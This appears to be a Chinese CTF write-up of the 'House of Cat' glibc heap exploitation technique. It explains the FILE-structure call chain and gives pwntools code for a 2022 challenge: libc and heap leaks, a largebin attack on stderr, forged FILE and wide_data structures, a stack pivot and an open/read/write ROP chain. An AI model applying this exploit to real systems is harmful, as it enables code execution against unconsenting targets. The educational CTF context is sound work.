house of cat 心得体会
字数 916 2025-08-25 22:58:47

House of Cat 利用技术详解

适用版本

  • glibc 2.23 至最新版本

利用条件

  1. 可以进行一次任意地址写堆地址
  2. 可以触发IO流操作

攻击方法

  1. 劫持stderr指针为我们构造的fake_IO_FILE(伪造好stderr和_wide_data结构体)
  2. 触发IO流操作

技术原理分析

调用链分析

触发__malloc_assert后会有以下调用链:

__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_file_xsputn

其中_IO_file_xsputn是通过vtable处的指针来调用,且在_IO_file_jumps_IO_file_xsputn函数和_IO_wfile_seekoff相差0x10大小。

关键函数分析

_IO_wfile_seekoff函数

off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) {
  // ...
  bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp));
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
  // ...
}

_IO_switch_to_wget_mode函数

_IO_switch_to_wget_mode (FILE *fp) {
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  // ...
}

利用思路

  1. 通过劫持_IO_2_1_stderr结构体,并将vtable处的指针改为_IO_wfile_seekoff
  2. 执行链:_IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW
  3. 通过控制_wide_vtable处的指针劫持程序执行流

magic_gadget分析

<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]

实战案例:2022挑战杯 house of cat

题目分析

  • 保护全开,开启沙箱
  • 限制申请大小0x418-0x46f
  • 限制修改次数两次并只能修改0x30字节
  • 存在UAF漏洞
  • 限制泄露数据最大大小为0x30字节

利用步骤

1. 获取libc基址和heap基址

add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290

2. largebin attack攻击stderr指针

fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0x1180+0x30)  # _IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2  # _IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0)  # _wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)  # vtable

add(0,0x428,fake_file)
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
delete(1)  # ub
add(3,0x440,b'c')  # attack

3. 修改top_chunk大小并触发IO调用

add(4,0x418,b'd')  # r chunk1
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
delete(8)  # ub
delete(14) 
add(10,0x450,b'a')  # attack

伪造结构体详解

1. 伪造stderr结构体

fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(chunk0+0x1c0+0x30)  # _IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2  # _IO_stdfile_2_lock
fake_file+=p64(chunk0+0xe0)  # wide_data start
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)  # vtable
fake_file+=wide_data

2. 伪造_IO_wide_data结构体

wide_data=p64(0)*4+p64(1)  # _IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flag\x00\x00\x00\x00'  # _statep (flag_addr)
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170)  # wide_vtable
wide_data+=pivot

3. 构造ROP链

# close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)

# open('flag',0)
rop+=p64(pop_rdi)
rop+=p64(flag_addr)
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)

# read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40)
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)

# write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40)
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)

4. 构造栈迁移payload

pivot=p64(magic_gadget)  # call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30)
pivot+=p64(leave_ret)
pivot+=rop

完整EXP

from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'

# ... [省略工具函数定义] ...

# 获取基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290

# 计算关键地址
IO_list_all = libc_base+0x21a680
magic_gadget = libc_base+0x16a1fa
IO_2_1_stderr = libc_base+0x21a6a0
stderr = libc_base+0x21a860
IO_wfile_jumps = libc_base+0x2160c0
lock=libc_base+0x21ba60

# gadget
add_rsp_ret=libc_base+0x000000000003a889
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0

# 函数地址
syscall=libc_base+0xea5b9
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']

# 构造ROP链
# ... [省略ROP链构造代码] ...

# 构造伪造结构体
# ... [省略结构体构造代码] ...

# 执行攻击
# ... [省略攻击执行代码] ...

itr()

参考

  1. House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解
  2. house of cat -2022强网杯pwn复现 | ZIKH26's Blog
  3. CTF 中 glibc堆利用 及 IO_FILE 总结
House of Cat 利用技术详解 适用版本 glibc 2.23 至最新版本 利用条件 可以进行一次任意地址写堆地址 可以触发IO流操作 攻击方法 劫持stderr指针为我们构造的fake_ IO_ FILE(伪造好stderr和_ wide_ data结构体) 触发IO流操作 技术原理分析 调用链分析 触发 __malloc_assert 后会有以下调用链: 其中 _IO_file_xsputn 是通过vtable处的指针来调用,且在 _IO_file_jumps 中 _IO_file_xsputn 函数和 _IO_wfile_seekoff 相差0x10大小。 关键函数分析 _ IO_ wfile_ seekoff函数 _ IO_ switch_ to_ wget_ mode函数 利用思路 通过劫持 _IO_2_1_stderr 结构体,并将vtable处的指针改为 _IO_wfile_seekoff 执行链: _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW 通过控制 _wide_vtable 处的指针劫持程序执行流 magic_ gadget分析 实战案例:2022挑战杯 house of cat 题目分析 保护全开,开启沙箱 限制申请大小0x418-0x46f 限制修改次数两次并只能修改0x30字节 存在UAF漏洞 限制泄露数据最大大小为0x30字节 利用步骤 1. 获取libc基址和heap基址 2. largebin attack攻击stderr指针 3. 修改top_ chunk大小并触发IO调用 伪造结构体详解 1. 伪造stderr结构体 2. 伪造_ IO_ wide_ data结构体 3. 构造ROP链 4. 构造栈迁移payload 完整EXP 参考 House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解 house of cat -2022强网杯pwn复现 | ZIKH26's Blog CTF 中 glibc堆利用 及 IO_ FILE 总结